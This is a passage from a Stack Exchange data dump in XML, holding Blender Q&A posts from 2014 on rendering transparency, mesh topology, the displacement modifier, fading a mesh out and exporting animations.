see below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/arLQt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very confused, and frustrated that i don't seem to be able to get all my key frames working together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="4785" LastEditorUserId="4785" LastEditDate="2014-06-11T06:29:20.637" LastActivityDate="2014-06-12T19:11:49.920" Title="keyframes disappeared?" Tags="&lt;keyframes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12100" PostTypeId="1" AcceptedAnswerId="12101" CreationDate="2014-06-09T20:29:53.390" Score="16" ViewCount="13389" Body="&lt;p&gt;I am rendering out some bubbles for use in a composite Photoshop image, so I need to render as a transparent png with the bubbles semi-transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried setting render output to RGBA and checking the transparent option under film, but while the resulting png is transparent the bubbles keep the environment background colour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bubbles are definitely semi-transparent, because if I include a coloured object in the scene behind them, it is visible through the bubbles in the render, but I can't find a way to allow the semi transparent material to have any alpha transparency in my png render.&lt;/p&gt;&#xA;" OwnerUserId="1329" LastEditorUserId="2217" LastEditDate="2014-07-07T16:15:52.353" LastActivityDate="2018-07-03T08:36:20.047" Title="how to render semi-transparent objects with transparent background as a png with cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12101" PostTypeId="2" ParentId="12100" CreationDate="2014-06-09T20:37:05.773" Score="19" Body="&lt;p&gt;You can use a &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/nodes/types/shaders/holdout.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Holdout&lt;/em&gt; shader&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m2muf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The holdout shader will render as actual image alpha, as opposed to giving the color of the environment on the other side of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could use a &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/nodes/types/shaders/transparent.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Transparent&lt;/em&gt;&lt;/a&gt; shader, which will allow other objects to be visible through the transparent object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EvePG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;em&gt;transparent&lt;/em&gt; in &lt;em&gt;Render settings &gt; Film&lt;/em&gt; must be enabled, otherwise the holdout shader will appear black and the transparent shader will show the environment behind it. You did mention that you already did this, so you should be good.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="57787" LastEditDate="2018-07-03T08:36:20.047" LastActivityDate="2018-07-03T08:36:20.047" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="12103" PostTypeId="2" ParentId="12098" CreationDate="2014-06-09T23:10:57.067" Score="7" Body="&lt;p&gt;This is because the Z scale of the object is &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apply the scale (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Scale&lt;/em&gt;) or set the Z scale in &lt;em&gt;3D view &gt; Properties region (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Transforms &gt; Scale&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2sQLd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then extrude/translate should work fine.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-09T23:10:57.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12106" PostTypeId="1" AcceptedAnswerId="12115" CreationDate="2014-06-10T03:09:42.937" Score="10" ViewCount="1937" Body="&lt;p&gt;For curved meshes I've often noticed that in my desperation to avoid tris, I tend to extrude the mesh in a way which creates these long rectangular quads:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Aeamq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case at least, the mesh is all quads, however the edge flow causes loopcutting to be awkward in some places:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PEwtN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried creating the same mesh with more even topology, however I found tris unavoidable. Maybe it was because I was starting with the long-quad mesh, but I also found myself using the knife tool for everything..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qbdf4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes loopcuts less necessary and easier to place in most cases, though the occasional tri does get in the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An annoying thing about the tris are the poles, though they aren't &lt;em&gt;too&lt;/em&gt; noticeable in this particular case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TqXMO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both techniques seems to have their advantages and their disadvantages:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JEnds.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is considered &quot;better&quot;, if any? Are there any better workflows for creating even topology with as few tris as possible? Or is there some trick I'm missing altogether?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29727&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Blendfile&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-10T18:23:10.553" LastActivityDate="2014-06-11T12:53:37.527" Title="Long rectangular quads? Or neat squarish quads with tris?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12107" PostTypeId="2" ParentId="12106" CreationDate="2014-06-10T05:46:49.517" Score="1" Body="&lt;p&gt;Which method is better will depend, at least in part, on how the mesh is to be used. Since some game engines, especially older ones, convert meshes to tris for rendering, meshes used for creation of game assets on these platforms engines, tris are of rather less concern. On the other hand, preparing meshes for 3D printing seems to be a &quot;tri-phobic&quot; (to invent a term) endeavor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But each additional vertex in a mesh adds to rendering time, as a general principle, in the absence of any other considerations, the mesh with the largest possible faces, and thus the fewest number of vertices consistent with the desired result, would be better than one with more vertices.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-06-10T05:46:49.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12108" PostTypeId="2" ParentId="12083" CreationDate="2014-06-10T07:08:33.483" Score="2" Body="&lt;p&gt;To elaborate on Joel's recommendation of using smoke sprites: I believe he is suggesting an instanced set of small face primitives positioned in a scattering at the surface of the water object. Vary the transparency, size, and the magnitude of a small animated shimmer movement so that each small face (sprite) has an additive motion overlaid onto the base water object(s) in the waterfall. Also assign material and texture from a collection of smoke pngs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A key consideration is that these sprite elements should remain roughly normal to the camera view plane...not parallel to the water or its not really acting as a sprite just another texture-mapped animated object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cumulative effect of the instancing is to allow variability of the image, shimmer motion, size, position, and transparency while reducing discrete object definitions. The art is in making the sum of sprite variations appear like hydraulic effects such as turbulence!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note :if my 'comment all' creds came thru I would have simply commented on Joel's comment instead of adding a new 'answer' with these details.)&lt;/p&gt;&#xA;" OwnerUserId="4788" LastActivityDate="2014-06-10T07:08:33.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12110" PostTypeId="1" CreationDate="2014-06-10T11:58:27.190" Score="1" ViewCount="660" Body="&lt;p&gt;I have a quick question about cell fracture.  I am trying to shatter a bridge which is a bit large and cell fracture is doing a nice job.  However, my shattered bridge is missing parts.  The fracture is missing most of the top of the bridge peices, which makes it already look broken.  How do I fix this?&lt;/p&gt;&#xA;" OwnerUserId="3682" LastActivityDate="2014-06-21T06:46:18.823" Title="Cell fracture deletes pieces of model" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="8" ClosedDate="2014-06-30T21:25:36.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="12112" PostTypeId="1" CreationDate="2014-06-10T13:04:30.233" Score="2" ViewCount="1059" Body="&lt;p&gt;I get &lt;a href=&quot;https://en.wikipedia.org/wiki/Colour_banding&quot; rel=&quot;nofollow noreferrer&quot;&gt;banding&lt;/a&gt; artifacts when using displacement (the output node one, not the modifier, and it is set to &quot;Bump&quot;, not &quot;True&quot;) in Cycles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I used a 8-bit greyscale texture and I expected to get banding, but then I blurred the texture in the Compositor and saved the result as a full-float .exr file. I then replaced the 8-bit texture with the .exr file. So it should have more than enough information to avoid banding and the blurring should also have at least reduced the sharpness of the banding, if not completely removed it because the steps were pretty close together.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: I made a mistake creating the texture, which makes the question unnecessary. Sorry.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That doesn't happen though, and I'm wondering why that is and if anyone has a solution for this.&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/3154/using-a-32-bit-grayscale-tiff-in-the-displace-modifier&quot;&gt;Here&lt;/a&gt; I found a similar problem, but there the question is how to save .exr-files. That's not my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;a href=&quot;https://blender.stackexchange.com/a/1784/1068&quot;&gt;this answer&lt;/a&gt; could be relevant but I don't find those settings for a texture that is used as a node inside of a cycles material. I also think the problem there is slightly different because the modifier behaves differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of what the result looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oFKlE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-06-11T15:14:36.860" Title="Cycles displacement: banding despite full float .exr texture" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-06-16T21:39:56.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="12113" PostTypeId="2" ParentId="8460" CreationDate="2014-06-10T13:34:22.393" Score="2" Body="&lt;p&gt;&lt;strong&gt;If there is only one connection area between the inner and the outer shell:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select a ring of edges/vertices around this connection&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt; and then click on &quot;Select Loop Inner-Region&quot;. &lt;/li&gt;&#xA;&lt;li&gt;this will either select the inner shell or the outer shell. If it's the wrong one, press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;I&lt;/kbd&gt; (invert the selection)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If there are several, but not outrageously many holes between inner and outer shell:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mark them as seams (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt; -&gt; &quot;Mark Seam&quot;)&lt;/li&gt;&#xA;&lt;li&gt;then press &lt;kbd&gt;U&lt;/kbd&gt; -&gt; Unwrap with everything selected to unwrap the model&lt;/li&gt;&#xA;&lt;li&gt;go into UV/Image Editor, select one of the vertices and press &lt;kbd&gt;L&lt;/kbd&gt; to select one of the two shells, pull that away far enough so that it becomes easy to box-select&lt;/li&gt;&#xA;&lt;li&gt;Press &quot;Keep UV and Edit mode mesh selection in sync&quot;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XT2M7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;select one of the islands, it will select the corresponding mesh, too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If there are outrageously many holes between inner and outer shell:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know. You could try box-selecting the outside with &quot;limit selection to visible&quot; active, but you'll get a few inside faces, too. Some of them may disapper if you &quot;Select less&quot; a few times, and then not re-appear if you &quot;Select more&quot; the same amount of times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try selecting the outer shell in Wireframe viewport shading just because it's further outside at the edge, rotating around your model.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2014-06-10T13:34:22.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12115" PostTypeId="2" ParentId="12106" CreationDate="2014-06-10T13:57:52.163" Score="11" Body="&lt;p&gt;Topology is a weird thing. It can be done a few different ways, and there isn't always a right answer. However, a few rules to keep in mind while modeling:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Edge loops should be around defining features and edges&lt;/strong&gt;. For example, if you have a hole in your mesh, there should be a loop around it. It makes the shape easier to change and makes creasing the mesh with more edge loops much simpler.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Try to keep a quad based mesh&lt;/strong&gt;. If you are forced to use a triangle or n-gon, try to hide it away on a flat surface, or a hidden part of the mesh, where, when it messes with the subsurface modifier, the distortion will not be as noticeable. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Try to keep quads even sized and square&lt;/strong&gt;. Otherwise you'll have weird stretching issues.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, to answer your question, you want an edge loop around the bottom with squarish quads inside:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lTPb4.png&quot; alt=&quot;topology diagram&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be easy to change the shape of your mesh and it will work nicely with the subsurface modifier.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2014-06-11T12:53:37.527" LastActivityDate="2014-06-11T12:53:37.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12116" PostTypeId="1" AcceptedAnswerId="12118" CreationDate="2014-06-10T15:06:59.720" Score="1" ViewCount="1634" Body="&lt;p&gt;I made a displacement texture and it looks fine, but when I apply it with the displacement modifier, there are this hole outlines that is surrounding every object.&lt;img src=&quot;https://i.stack.imgur.com/QmGUi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;How to prevent the modifier from making those holes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the texture - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/N9ea1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-06-10T15:19:36.340" LastActivityDate="2014-06-10T21:15:10.673" Title="How to prevent holes that makes the displacement modifier?" Tags="&lt;modifiers&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12117" PostTypeId="2" ParentId="12116" CreationDate="2014-06-10T16:32:19.273" Score="1" Body="&lt;p&gt;It seems like your talking about the chunky borders along all of the displaced elements?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the trouble with using the displace modifier for this sort of thing.  Where I you, the first thing I would do is ask myself &quot;Do I really need the displace modifier?&quot;  The trouble is: you have to add so much geometry in order to get good results.  Also, the higher resolution the image the better the results.  Looking at the attached image I can see that the edges in your image are far to low resolution to get good results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the next step would be to look at using bump/normal maps or displacement on the material level to fake the results your after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this isn't good enough and you really need to have geometry, your probably better off to model this shape as a mesh. I guarantee you'll end up with a lower poly count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try all of this and you still determine that you have to use the displace modifier to accomplish your goal, then I recommend you go back to the graphics program you used to make the image and reproduce it at 4K or greater.  Get ready for a long render time though.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2014-06-10T16:32:19.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12118" PostTypeId="2" ParentId="12116" CreationDate="2014-06-10T18:27:36.040" Score="3" Body="&lt;p&gt;On the Displacement Modifier, you can change the strength to a negative value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6XuHk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;You'll get what you are looking for if you modify the image that you're using to drive the displacement so that the value for the plane in isn't gray, but black. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it this way: Black becomes the lowest point in the displacement and white the highest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OU8Bx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-06-10T21:15:10.673" LastActivityDate="2014-06-10T21:15:10.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12119" PostTypeId="1" AcceptedAnswerId="12122" CreationDate="2014-06-10T19:13:49.860" Score="1" ViewCount="185" Body="&lt;p&gt;How would anybody go if you have a model and you use it as a displacement texture, but the ground to be separated from the model (not literaly separated, but to distinguish the ground from the model)? Maybe the boolean can solve the problem, but of big curiosity, what are some of the ways and approaches of doing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aiming for this kind of result - &lt;img src=&quot;https://i.stack.imgur.com/iQnhw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2014-06-10T20:39:26.053" Title="How to add a ground for a model that is used as a displacement modifier?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="23" ContentLicense="CC BY-SA 3.0" />
  <row Id="12120" PostTypeId="2" ParentId="12106" CreationDate="2014-06-10T19:28:20.073" Score="2" Body="&lt;p&gt;I think you already know this but anyways, for loop-cuts, there is a hidden option that works well with curved and irregular geometry.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've set the loop and it's in slide-mode(yellow), then you can now press the &lt;kbd&gt;e&lt;/kbd&gt; to enter edge-parallel* mode.  This mode has 2 options that can be toggled using the &lt;kbd&gt;f&lt;/kbd&gt; key.&lt;br&gt;&#xA;&lt;kbd&gt;f&lt;/kbd&gt; will determine which parallel edge the loop becomes aligned with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there is also the SIRE outline tool which I rarely use but when its needed it's the best solution that I know of so I always have it installed.  I think it would work well as a starting place for the type of model you posted in your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EtagR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to the BlenderArtists thread for this addon package.&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?179375-Addon-Edge-fillet-and-other-bmesh-tools-Update-Jan-11&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?179375-Addon-Edge-fillet-and-other-bmesh-tools-Update-Jan-11&lt;/a&gt;&#xA;You can install just the individual tools that you want instead of the whole package. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps.  What CharlesL did looks really good.  If adding a displace modifier to that model, the high-frequency detail will show up more evenly than it would for quads that have irregular sides and spacing.  The same would be true for multi-res sculpting.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PJGpw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-06-10T19:28:20.073" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12121" PostTypeId="1" AcceptedAnswerId="12123" CreationDate="2014-06-10T20:35:39.003" Score="5" ViewCount="7017" Body="&lt;p&gt;I have a very very simple animation where I have to fade out a mesh, from a complete opacity to zero. How do I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="4791" LastActivityDate="2021-03-23T02:29:42.767" Title="How to fade out a mesh?" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12122" PostTypeId="2" ParentId="12119" CreationDate="2014-06-10T20:39:26.053" Score="3" Body="&lt;p&gt;use an image to control the displacement:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cWKvy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8rynE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generate an image that controls an alpha channel for texturing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MaEEU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use that image to combine different materials:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JnZ2v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-06-10T20:39:26.053" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="12123" PostTypeId="2" ParentId="12121" CreationDate="2014-06-10T20:50:44.650" Score="8" Body="&lt;p&gt;In the materials tab of your mesh, add a new material if there is not one already. Then, scroll down until you find the transparency tab. Enable transparency, and you will see a slider that allows you to change the opacity (or transparency) of the material, and thus, the mesh. I would use z-transparency as it is the most realistic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the opacity set to full, choose the frame when you want to begin the fade, put your mouse over the opacity slider &lt;kbd&gt;I&lt;/kbd&gt;. Then, move to the frame when you want the mesh to be transparent, slide the opacity slider to 0 and hit &lt;kbd&gt;I&lt;/kbd&gt; (with your mouse over the slider) again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique is for blender internal &lt;/p&gt;&#xA;" OwnerUserId="1405" LastEditorUserId="29" LastEditDate="2014-06-10T21:57:03.067" LastActivityDate="2014-06-10T21:57:03.067" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12124" PostTypeId="1" AcceptedAnswerId="12177" CreationDate="2014-06-10T20:52:57.450" Score="1" ViewCount="352" Body="&lt;p&gt;Working in Blender 2.70, I've created a simple model (a box with a few loop cuts) with a simple armature (2 bones). I attached the mesh to the armature and created two animations (actions) and called them 'ArmatureAction' and 'walk'. With the 'ArmatureAction' active and the mesh and armature selected, I export the model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my export settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d1iwa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open up the .x file, I see two AnimationSets: both called 'ArmatureAction'. However, if I export with the 'walk' action active, I get two AnimationSets: 'ArmatureAction' followed by 'walk'. &lt;strong&gt;Edit:&lt;/strong&gt; In this case, the ArmatureAction animationset is made up of 865 lines whereas the walk animationset is only 289 lines. The walk animation has fewer keyframes, but I thought that it exported every frame, regardless of whether it's a keyframe. In that case, the discrepancy might indicate an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the currently selected action make a difference when exporting the file? I'm using Assimp to load these files into another piece of software and I'm having trouble getting the 'walk' animation to show up at all.&lt;/p&gt;&#xA;" OwnerUserId="1170" LastEditorUserId="1170" LastEditDate="2014-06-10T21:31:55.687" LastActivityDate="2014-06-12T16:40:01.007" Title="DirectX exporter: does the currently-selected action make a difference?" Tags="&lt;animation&gt;&lt;export&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12126" PostTypeId="2" ParentId="11062" CreationDate="2014-06-10T21:15:03.840" Score="2" Body="&lt;p&gt;You cannot move different parts of the same object to separate layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/questions/11062/how-to-put-2-parts-of-1-object-on-different-layers?noredirect=1#comment16303_11062&quot;&gt;mentioned by sambler&lt;/a&gt;, what you are trying to do is possible using separate materials to generate masks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting from my answer &lt;a href=&quot;https://blender.stackexchange.com/a/3099/599&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This can be done . . . using an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Convertor#ID_Mask_Node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;ID Mask&lt;/em&gt; node&lt;/a&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;. . .&lt;br&gt;&#xA;  1. Enable &lt;em&gt;Material index&lt;/em&gt; in &lt;em&gt;Render layers &gt; Passes&lt;/em&gt;, and set the pass index for the material:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;Use &lt;em&gt;Materials &gt; Settings &gt; Pass &gt; index&lt;/em&gt; to set the pass index of the  material in Cycles:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nJe1J.png&quot; alt=&quot;cycles material pass index&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Or in Blender internal use &lt;em&gt;Materials &gt; Options &gt; Pass index&lt;/em&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/61JGb.png&quot; alt=&quot;BI material pass index&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;ol start=&quot;3&quot;&gt;&#xA;  &lt;li&gt;&lt;p&gt;Add an &lt;em&gt;ID Mask&lt;/em&gt; node and set the &lt;em&gt;Index&lt;/em&gt; to &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Plug the &lt;em&gt;IndexOB&lt;/em&gt; output from the Renderlayer node into the &lt;em&gt;ID Mask&lt;/em&gt; node. This will provide a mask for the [material]:&#xA;  &lt;img src=&quot;https://i.stack.imgur.com/4rIzF.png&quot; alt=&quot;mask node&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This will give you a black and white mask of that material, which you can use to separate, combine, etc. in the compositor using mix nodes.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2014-06-10T21:15:03.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
